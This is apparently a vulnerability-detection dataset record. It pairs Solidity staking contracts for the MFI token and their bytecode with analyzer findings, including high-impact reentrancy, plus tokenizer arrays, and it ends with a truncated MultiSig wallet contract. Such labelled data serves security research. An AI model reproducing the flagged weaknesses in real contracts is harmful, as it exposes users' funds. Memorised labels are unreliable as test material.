.sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(_totalSupply) ); } function viewRewardAmount(address account) public view returns (uint256) { return _balances[account] .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } function _rewardDiff(StakeAccount memory account) internal view returns (uint256) { uint256 totalReward = legacy.viewUpdatedCumulativeReward(); uint256 startingReward = ((totalReward - account.cumulativeStart) * account.stakeWeight) / (startingWeights + 1); uint256 currentReward = ((totalReward - account.cumulativeStart) * account.stakeWeight) / (legacy.totalCurrentWeights() + 1); if (startingReward >= currentReward) { return 0; } else { return currentReward - startingReward; } } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); if (stakeStart[msg.sender] == 0) { stakeStart[msg.sender] = block.timestamp; } } function withdrawStake(uint256 amount) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); require(block.timestamp >= stakeStart[msg.sender] + lockTime); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); if (migrated[msg.sender]) { uint256 w; uint256 __; (__, w, __, __) = legacy.stakeAccounts(msg.sender); require(w < MAX_WEIGHT, "Migrate account first"); uint256 rewardDiff = _rewardDiff(legacyStakeAccounts[msg.sender]); if (rewardDiff >= amount) { amount = 0; } else { amount -= rewardDiff; } } stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function withdrawReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external onlyOwner updateReward(address(0)) { if (legacyCarry > 0) { reward -= legacyCarry; legacyCarry = 0; } if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 balance = rewardsToken.balanceOf(address(this)); require( rewardRate <= balance.div(rewardsDuration), "Provided reward too high" ); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // End rewards emission earlier function updatePeriodFinish(uint256 timestamp) external onlyOwner updateReward(address(0)) { periodFinish = timestamp; } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { IERC20(tokenAddress).safeTransfer(owner(), tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } function setLockTime(uint256 t) external onlyOwner { lockTime = t; } // function migrateParams() external onlyOwner { // periodFinish = block.timestamp + 60 days; // lastUpdateTime = block.timestamp; // rewardRate = interim.rewardRate() / 5; // rewardPerTokenStored = interim.rewardPerTokenStored(); // startingWeights = interim.startingWeights(); // legacyCarry = interim.legacyCarry(); // _totalSupply = interim.totalSupply(); // } // function migrateAccounts(address[] calldata accounts) external onlyOwner { // for (uint256 i; accounts.length > i; i++) { // address accountAddress = accounts[i]; // userRewardPerTokenPaid[accountAddress] = interim // .userRewardPerTokenPaid(accountAddress); // rewards[accountAddress] = interim.rewards(accountAddress); // stakeStart[accountAddress] = interim.stakeStart(accountAddress); // _balances[accountAddress] = interim.balanceOf(accountAddress); // bool isMigrated = interim.migrated(accountAddress); // if (isMigrated) { // migrated[accountAddress] = isMigrated; // StakeAccount memory account; // ( // account.stakeAmount, // account.stakeWeight, // account.cumulativeStart, // account.lockEnd // ) = interim.legacyStakeAccounts(accountAddress); // legacyStakeAccounts[accountAddress] = account; // } // } // } function migrateAccounts( address[] calldata accounts, uint256[] calldata _userRewardPerTokenPaid, uint256[] calldata _rewards, uint256[] calldata _stakeStart, uint256[] calldata accountBalances, bool[] calldata isMigrated ) external onlyOwner { rewardRate = 1157407407407407; rewardPerTokenStored = interim.rewardPerTokenStored(); startingWeights = 1969129866821224396662477; _totalSupply = interim.totalSupply(); periodFinish = block.timestamp + 60 days; lastUpdateTime = block.timestamp; for (uint256 i; accounts.length > i; i++) { address accountAddress = accounts[i]; userRewardPerTokenPaid[accountAddress] = _userRewardPerTokenPaid[i]; rewards[accountAddress] = _rewards[i]; stakeStart[accountAddress] = _stakeStart[i]; _balances[accountAddress] = accountBalances[i]; if (isMigrated[i]) { migrated[accountAddress] = true; StakeAccount memory account; ( account.stakeAmount, account.stakeWeight, account.cumulativeStart, account.lockEnd ) = interim.legacyStakeAccounts(accountAddress); legacyStakeAccounts[accountAddress] = account; } } } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = viewRewardAmount(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./Roles.sol"; struct StakeAccount { uint256 stakeAmount; uint256 stakeWeight; uint256 cumulativeStart; uint256 lockEnd; } abstract contract TokenStaking { using SafeERC20 for IERC20; IERC20 public immutable stakeToken; /// Margenswap (MFI) token address IERC20 public immutable MFI; Roles roles; mapping(address => StakeAccount) public stakeAccounts; uint256 public cumulativeReward; uint256 public lastCumulativeUpdateBlock; uint256 public totalCurrentWeights; uint256 public totalCurrentRewardPerBlock; uint256 public rewardTarget; constructor( address _MFI, address _stakeToken, uint256 initialRewardPerBlock, address _roles ) { MFI = IERC20(_MFI); stakeToken = IERC20(_stakeToken); roles = Roles(_roles); lastCumulativeUpdateBlock = block.number; totalCurrentRewardPerBlock = initialRewardPerBlock; } // TODO: function to load up with MFI function setTotalRewardPerBlock(uint256 rewardPerBlock) external { require( msg.sender == roles.owner() || msg.sender == roles.executor(), "Not authorized" ); updateCumulativeReward(); totalCurrentRewardPerBlock = rewardPerBlock; } function add2RewardTarget(uint256 amount) external { MFI.safeTransferFrom(msg.sender, address(this), amount); updateCumulativeReward(); rewardTarget += amount; } function removeFromRewardTarget(uint256 amount, address recipient) external { require( msg.sender == roles.owner() || msg.sender == roles.executor(), "Not authorized" ); MFI.safeTransfer(recipient, amount); updateCumulativeReward(); rewardTarget -= amount; require(rewardTarget >= cumulativeReward, "Trying to remove too much"); } function stake(uint256 amount, uint256 duration) external { stakeToken.safeTransferFrom(msg.sender, address(this), amount); StakeAccount storage account = stakeAccounts[msg.sender]; uint256 extantAmount = account.stakeAmount; if (extantAmount > 0) { _withdrawReward(msg.sender, account); } account.stakeAmount = extantAmount + amount; uint256 w = duration >= 90 days ? 3 : (duration >= 30 days ? 2 : (duration >= 1 weeks ? 1 : 0)); account.stakeWeight += w * amount; totalCurrentWeights += w * amount; account.cumulativeStart = updateCumulativeReward(); account.lockEnd = max(block.timestamp + duration, account.lockEnd); } function withdrawStake(uint256 amount) external { StakeAccount storage account = stakeAccounts[msg.sender]; require(block.timestamp >= account.lockEnd, "Stake is still locked"); _withdrawReward(msg.sender, account); uint256 weightDiff = (amount * account.stakeWeight) / account.stakeAmount; account.stakeWeight -= weightDiff; totalCurrentWeights -= weightDiff; account.stakeAmount -= amount; account.cumulativeStart = updateCumulativeReward(); } function viewUpdatedCumulativeReward() public view returns (uint256) { return min( rewardTarget, cumulativeReward + (block.number - lastCumulativeUpdateBlock) * totalCurrentRewardPerBlock ); } function updateCumulativeReward() public returns (uint256) { if (block.number > lastCumulativeUpdateBlock) { cumulativeReward = viewUpdatedCumulativeReward(); lastCumulativeUpdateBlock = block.number; } return cumulativeReward; } function _viewRewardAmount(StakeAccount storage account) internal view returns (uint256) { uint256 totalReward = viewUpdatedCumulativeReward(); return ((totalReward - account.cumulativeStart) * account.stakeWeight) / (totalCurrentWeights + 1); } function viewRewardAmount(address account) external view returns (uint256) { return _viewRewardAmount(stakeAccounts[account]); } function _withdrawReward(address recipient, StakeAccount storage account) internal { if (account.stakeWeight > 0) { uint256 reward = min(_viewRewardAmount(account), MFI.balanceOf(address(this))); MFI.safeTransfer(recipient, reward); } } function withdrawReward() external { StakeAccount storage account = stakeAccounts[msg.sender]; _withdrawReward(msg.sender, account); account.cumulativeStart = cumulativeReward; } /// @dev minimum function min(uint256 a, uint256 b) internal pure returns (uint256) { if (a > b) { return b; } else { return a; } } /// @dev maximum function max(uint256 a, uint256 b) internal pure returns (uint256) { if (a > b) { return a; } else { return b; } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; interface IDependencyController { function currentExecutor() external returns (address); }
0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c806380faa57d1161011a578063c885bc58116100ad578063d1af0c7d1161007c578063d1af0c7d1461045e578063dbe85f7014610485578063df136d6514610498578063ebe2b12b146104a1578063f2fde38b146104aa576101fb565b8063c885bc5814610432578063c8f33c911461043a578063cc1a378f14610443578063cd3daf9d14610456576101fb565b8063a204cf85116100e9578063a204cf85146103fa578063a694fc3a14610403578063ae04d45d14610416578063be7b51cc14610429576101fb565b806380faa57d146103ae5780638980f11f146103b65780638b876347146103c95780638da5cb5b146103e9576101fb565b80634ba0a5ee1161019257806370a082311161016157806370a082311461034b578063715018a61461035e57806372f702f3146103665780637b0a47ee146103a5576101fb565b80634ba0a5ee1461029d578063556f6e6b146102d0578063568a2d98146102e35780635752de4314610338576101fb565b80631c1f78eb116101ce5780631c1f78eb1461026457806325d5971f1461026c578063386a9525146102815780633c6b16ab1461028a576101fb565b80630700037d146102005780630d6680871461023357806312a7f6611461023c57806318160ddd1461025c575b600080fd5b61022061020e366004611b31565b60096020526000908152604090205481565b6040519081526020015b60405180910390f35b61022060075481565b61022061024a366004611b31565b600a6020526000908152604090205481565b6102206104bd565b6102206104c4565b61027f61027a366004611ce8565b6104e2565b005b61022060045481565b61027f610298366004611ce8565b6107fb565b6102c06102ab366004611b31565b600b6020526000908152604090205460ff1681565b604051901515815260200161022a565b61027f6102de366004611ce8565b610a56565b6103186102f1366004611b31565b600d6020526000908152604090208054600182015460028301546003909301549192909184565b60408051948552602085019390935291830152606082015260800161022a565b61027f610346366004611b74565b610ae2565b610220610359366004611b31565b610f4a565b61027f610f69565b61038d7f000000000000000000000000aa4e3edb11afa93c41db59842b29de64b72e355b81565b6040516001600160a01b03909116815260200161022a565b61022060035481565b610220610f9f565b61027f6103c4366004611b4b565b610fad565b6102206103d7366004611b31565b60086020526000908152604090205481565b6001546001600160a01b031661038d565b610220600c5481565b61027f610411366004611ce8565b611043565b61027f610424366004611ce8565b6111df565b610220600e5481565b61027f61120e565b61022060055481565b61027f610451366004611ce8565b61131e565b610220611420565b61038d7f000000000000000000000000aa4e3edb11afa93c41db59842b29de64b72e355b81565b610220610493366004611b31565b611474565b61022060065481565b61022060025481565b61027f6104b8366004611b31565b6114e6565b600f545b90565b60006104dd60045460035461158190919063ffffffff16565b905090565b6002600054141561050e5760405162461bcd60e51b815260040161050590611dd1565b60405180910390fd5b60026000553361051c611420565b600655610527610f9f565b6005556001600160a01b0381161561056e5761054281611474565b6001600160a01b0382166000908152600960209081526040808320939093556006546008909152919020555b600082116105b25760405162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b6044820152606401610505565b600754336000908152600a60205260409020546105cf9190611e08565b4210156105db57600080fd5b600f546105e89083611594565b600f55336000908152601060205260409020546106059083611594565b33600090815260106020908152604080832093909355600b9052205460ff16156107885760405163e57466fd60e01b815233600482015260009081906001600160a01b037f0000000000000000000000006002830d2f02d987b18d01a1ccce842ae09899d5169063e57466fd9060240160806040518083038186803b15801561068d57600080fd5b505afa1580156106a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c59190611d18565b50909350909150506801a055690d9db80000821061071d5760405162461bcd60e51b8152602060048201526015602482015274135a59dc985d19481858d8dbdd5b9d08199a5c9cdd605a1b6044820152606401610505565b336000908152600d60209081526040808320815160808101835281548152600182015493810193909352600281015491830191909152600301546060820152610765906115a0565b90508481106107775760009450610784565b6107818186611e5f565b94505b5050505b6107bc6001600160a01b037f000000000000000000000000aa4e3edb11afa93c41db59842b29de64b72e355b163384611760565b60405182815233907f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5906020015b60405180910390a250506001600055565b6001546001600160a01b031633146108255760405162461bcd60e51b815260040161050590611d9c565b600061082f611420565b60065561083a610f9f565b6005556001600160a01b038116156108815761085581611474565b6001600160a01b0382166000908152600960209081526040808320939093556006546008909152919020555b600e541561089e57600e546108969083611e5f565b6000600e5591505b60025442106108bd576004546108b59083906117c8565b600355610906565b6002546000906108cd9042611594565b905060006108e66003548361158190919063ffffffff16565b600454909150610900906108fa86846117d4565b906117c8565b60035550505b6040516370a0823160e01b81523060048201526000907f000000000000000000000000aa4e3edb11afa93c41db59842b29de64b72e355b6001600160a01b0316906370a082319060240160206040518083038186803b15801561096857600080fd5b505afa15801561097c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a09190611d00565b90506109b7600454826117c890919063ffffffff16565b6003541115610a085760405162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f206869676800000000000000006044820152606401610505565b426005819055600454610a1b91906117d4565b6002556040518381527fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9060200160405180910390a1505050565b6001546001600160a01b03163314610a805760405162461bcd60e51b815260040161050590611d9c565b6000610a8a611420565b600655610a95610f9f565b6005556001600160a01b03811615610adc57610ab081611474565b6001600160a01b0382166000908152600960209081526040808320939093556006546008909152919020555b50600255565b6001546001600160a01b03163314610b0c5760405162461bcd60e51b815260040161050590611d9c565b66041ca7e961012f6003819055507f000000000000000000000000072379c47dd69dc7f2377e366b5e52d27256fd2b6001600160a01b031663df136d656040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7357600080fd5b505afa158015610b87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bab9190611d00565b6006819055506a01a0fabe7530bc41f2a6cd600c819055507f000000000000000000000000072379c47dd69dc7f2377e366b5e52d27256fd2b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c1c57600080fd5b505afa158015610c30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c549190611d00565b600f55610c6442624f1a00611e08565b6002554260055560005b808c1115610f3b5760008d8d83818110610c9857634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610cad9190611b31565b90508b8b83818110610ccf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03841660009081526008602090815260409091209102929092013590915550898983818110610d1557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03841660009081526009602090815260409091209102929092013590915550878783818110610d5b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0384166000908152600a602090815260409091209102929092013590915550858583818110610da157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03841660009081526010602090815260409091209102929092013590915550838383818110610de757634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610dfc9190611cb0565b15610f28576001600160a01b0381166000908152600b60209081526040808320805460ff19166001179055805160808101825283815291820183905281018290526060810191909152604051630ad145b360e31b81526001600160a01b0383811660048301527f000000000000000000000000072379c47dd69dc7f2377e366b5e52d27256fd2b169063568a2d989060240160806040518083038186803b158015610ea657600080fd5b505afa158015610eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ede9190611d18565b60608501908152604080860192835260208087019485529486526001600160a01b0387166000908152600d9095529093209351845590516001840155516002830155516003909101555b5080610f3381611ea2565b915050610c6e565b50505050505050505050505050565b6001600160a01b0381166000908152601060205260409020545b919050565b6001546001600160a01b03163314610f935760405162461bcd60e51b815260040161050590611d9c565b610f9d60006117e0565b565b60006104dd42600254611832565b6001546001600160a01b03163314610fd75760405162461bcd60e51b815260040161050590611d9c565b610ffd610fec6001546001600160a01b031690565b6001600160a01b0384169083611760565b604080516001600160a01b0384168152602081018390527f8c1256b8896378cd5044f80c202f9772b9d77dc85c8a6eb51967210b09bfaa28910160405180910390a15050565b600260005414156110665760405162461bcd60e51b815260040161050590611dd1565b600260005533611074611420565b60065561107f610f9f565b6005556001600160a01b038116156110c65761109a81611474565b6001600160a01b0382166000908152600960209081526040808320939093556006546008909152919020555b600082116111075760405162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b6044820152606401610505565b600f5461111490836117d4565b600f553360009081526010602052604090205461113190836117d4565b3360008181526010602052604090209190915561117a907f000000000000000000000000aa4e3edb11afa93c41db59842b29de64b72e355b6001600160a01b0316903085611848565b60405182815233907f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d9060200160405180910390a2336000908152600a60205260409020546111d657336000908152600a602052604090204290555b50506001600055565b6001546001600160a01b031633146112095760405162461bcd60e51b815260040161050590611d9c565b600755565b600260005414156112315760405162461bcd60e51b815260040161050590611dd1565b60026000553361123f611420565b60065561124a610f9f565b6005556001600160a01b038116156112915761126581611474565b6001600160a01b0382166000908152600960209081526040808320939093556006546008909152919020555b3360009081526009602052604090205480156111d657336000818152600960205260408120556112ec907f000000000000000000000000aa4e3edb11afa93c41db59842b29de64b72e355b6001600160a01b03169083611760565b60405181815233907fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486906020016107ea565b6001546001600160a01b031633146113485760405162461bcd60e51b815260040161050590611d9c565b60025442116113e55760405162461bcd60e51b815260206004820152605860248201527f50726576696f7573207265776172647320706572696f64206d7573742062652060448201527f636f6d706c657465206265666f7265206368616e67696e67207468652064757260648201527f6174696f6e20666f7220746865206e657720706572696f640000000000000000608482015260a401610505565b60048190556040518181527ffb46ca5a5e06d4540d6387b930a7c978bce0db5f449ec6b3f5d07c6e1d44f2d39060200160405180910390a150565b6000600f546000141561143657506006546104c1565b6104dd61146b600f546108fa670de0b6b3a764000061146560035461146560055461145f610f9f565b90611594565b90611581565b600654906117d4565b6001600160a01b03811660009081526009602090815260408083205460089092528220546114e091906114da90670de0b6b3a7640000906108fa906114bb9061145f611420565b6001600160a01b03881660009081526010602052604090205490611581565b906117d4565b92915050565b6001546001600160a01b031633146115105760405162461bcd60e51b815260040161050590611d9c565b6001600160a01b0381166115755760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610505565b61157e816117e0565b50565b600061158d8284611e40565b9392505050565b600061158d8284611e5f565b6000807f0000000000000000000000006002830d2f02d987b18d01a1ccce842ae09899d56001600160a01b031663c8d65d596040518163ffffffff1660e01b815260040160206040518083038186803b1580156115fc57600080fd5b505afa158015611610573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116349190611d00565b90506000600c5460016116479190611e08565b6020850151604086015161165b9085611e5f565b6116659190611e40565b61166f9190611e20565b905060007f0000000000000000000000006002830d2f02d987b18d01a1ccce842ae09899d56001600160a01b031663fb3935ee6040518163ffffffff1660e01b815260040160206040518083038186803b1580156116cc57600080fd5b505afa1580156116e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117049190611d00565b61170f906001611e08565b602086015160408701516117239086611e5f565b61172d9190611e40565b6117379190611e20565b905080821061174c5760009350505050610f64565b6117568282611e5f565b9350505050610f64565b6040516001600160a01b0383166024820152604481018290526117c390849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611886565b505050565b600061158d8284611e20565b600061158d8284611e08565b600180546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000818310611841578161158d565b5090919050565b6040516001600160a01b03808516602483015283166044820152606481018290526118809085906323b872dd60e01b9060840161178c565b50505050565b60006118db826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166119589092919063ffffffff16565b8051909150156117c357808060200190518101906118f99190611ccc565b6117c35760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610505565b6060611967848460008561196f565b949350505050565b6060824710156119d05760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610505565b843b611a1e5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610505565b600080866001600160a01b03168587604051611a3a9190611d4d565b60006040518083038185875af1925050503d8060008114611a77576040519150601f19603f3d011682016040523d82523d6000602084013e611a7c565b606091505b5091509150611a8c828286611a97565b979650505050505050565b60608315611aa657508161158d565b825115611ab65782518084602001fd5b8160405162461bcd60e51b81526004016105059190611d69565b80356001600160a01b0381168114610f6457600080fd5b60008083601f840112611af8578182fd5b50813567ffffffffffffffff811115611b0f578182fd5b6020830191508360208260051b8501011115611b2a57600080fd5b9250929050565b600060208284031215611b42578081fd5b61158d82611ad0565b60008060408385031215611b5d578081fd5b611b6683611ad0565b946020939093013593505050565b60008060008060008060008060008060008060c08d8f031215611b95578788fd5b67ffffffffffffffff8d351115611baa578788fd5b611bb78e8e358f01611ae7565b909c509a5067ffffffffffffffff60208e01351115611bd4578788fd5b611be48e60208f01358f01611ae7565b909a50985067ffffffffffffffff60408e01351115611c01578788fd5b611c118e60408f01358f01611ae7565b909850965067ffffffffffffffff60608e01351115611c2e578586fd5b611c3e8e60608f01358f01611ae7565b909650945067ffffffffffffffff60808e01351115611c5b578384fd5b611c6b8e60808f01358f01611ae7565b909450925067ffffffffffffffff60a08e01351115611c88578081fd5b611c988e60a08f01358f01611ae7565b81935080925050509295989b509295989b509295989b565b600060208284031215611cc1578081fd5b813561158d81611ed3565b600060208284031215611cdd578081fd5b815161158d81611ed3565b600060208284031215611cf9578081fd5b5035919050565b600060208284031215611d11578081fd5b5051919050565b60008060008060808587031215611d2d578384fd5b505082516020840151604085015160609095015191969095509092509050565b60008251611d5f818460208701611e76565b9190910192915050565b6000602082528251806020840152611d88816040850160208701611e76565b601f01601f19169190910160400192915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60008219821115611e1b57611e1b611ebd565b500190565b600082611e3b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e5a57611e5a611ebd565b500290565b600082821015611e7157611e71611ebd565b500390565b60005b83811015611e91578181015183820152602001611e79565b838111156118805750506000910152565b6000600019821415611eb657611eb6611ebd565b5060010190565b634e487b7160e01b600052601160045260246000fd5b801515811461157e57600080fdfea2646970667358221220c556c75a033eba36db2dd4bfa21b91833027ffa88ba03d29a5b74c66e78f98c664736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 14728, 3540, 16703, 2575, 2683, 14142, 2278, 2575, 2683, 18827, 2546, 2581, 14141, 2497, 2475, 2278, 2692, 2620, 2509, 3540, 11329, 2094, 2487, 2278, 2581, 14141, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 21296, 2015, 1996, 3206, 1012, 2023, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,768
0x974f3327c53366d27979427e972875dabbed14de
pragma solidity 0.4.21; library SafeMath { function sub(uint256 a, uint256 b) pure internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) pure internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private rentrancy_lock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!rentrancy_lock); rentrancy_lock = true; _; rentrancy_lock = false; } } /** * MultiSig is designed to hold funds of the ico. Account is controlled by three administrators. To trigger a payout * two out of three administrators will must agree on same amount of ether to be transferred. During the signing * process if one administrator sends different target address or amount of ether, process will abort and they * need to start again. * Administrator can be replaced but two out of three must agree upon replacement of third administrator. Two * admins will send address of third administrator along with address of new one administrator. If a single one * sends different address the updating process will abort and they need to start again. */ contract MultiSig is ReentrancyGuard { using SafeMath for uint256; // Maintain state funds transfer signing process struct Transaction{ address[2] signer; uint confirmations; uint256 eth; } // count and record signers with ethers they agree to transfer Transaction private pending; // the number of administrator that must confirm the same operation before it is run. uint256 public required = 2; mapping(address => bool) private administrators; // Funds has arrived into the contract (record how much). event Deposit(address _from, uint256 value); // Funds transfer to other contract event Transfer(address indexed fristSigner, address indexed secondSigner, address to,uint256 eth,bool success); // Administrator successfully signs a fund transfer event TransferConfirmed(address signer,uint256 amount,uint256 remainingConfirmations); // Administrator successfully signs a key update transaction event UpdateConfirmed(address indexed signer,address indexed newAddress,uint256 remainingConfirmations); // Administrator violated consensus event Violated(string action, address sender); // Administrator key updated (administrator replaced) event KeyReplaced(address oldKey,address newKey); event EventTransferWasReset(); event EventUpdateWasReset(); function MultiSig() public { administrators[0xCDea686Bac6136E3B4D7136967dC3597f96fA24f] = true; administrators[0xf964707c8fb25daf61aEeEF162A3816c2e8f25dD] = true; administrators[0xA45fb4e5A96D267c2BDc5efDD2E93a92b9516232] = true; } /** * @dev To trigger payout two out of three administrators call this * function, funds will be transferred right after verification of * third signer call. * @param recipient The address of recipient * @param amount Amount of wei to be transferred */ function transfer(address recipient, uint256 amount) external onlyAdmin nonReentrant { // input validations require( recipient != 0x00 ); require( amount > 0 ); require( address(this).balance >= amount ); uint remaining; // Start of signing process, first signer will finalize inputs for remaining two if (pending.confirmations == 0) { pending.signer[pending.confirmations] = msg.sender; pending.eth = amount; pending.confirmations = pending.confirmations.add(1); remaining = required.sub(pending.confirmations); emit TransferConfirmed(msg.sender,amount,remaining); return; } // Compare amount of wei with previous confirmtaion if (pending.eth != amount) { transferViolated("Incorrect amount of wei passed"); return; } // make sure signer is not trying to spam if (msg.sender == pending.signer[0]) { transferViolated("Signer is spamming"); return; } pending.signer[pending.confirmations] = msg.sender; pending.confirmations = pending.confirmations.add(1); remaining = required.sub(pending.confirmations); // make sure signer is not trying to spam if (remaining == 0) { if (msg.sender == pending.signer[0]) { transferViolated("One of signers is spamming"); return; } } emit TransferConfirmed(msg.sender,amount,remaining); // If two confirmation are done, trigger payout if (pending.confirmations == 2) { 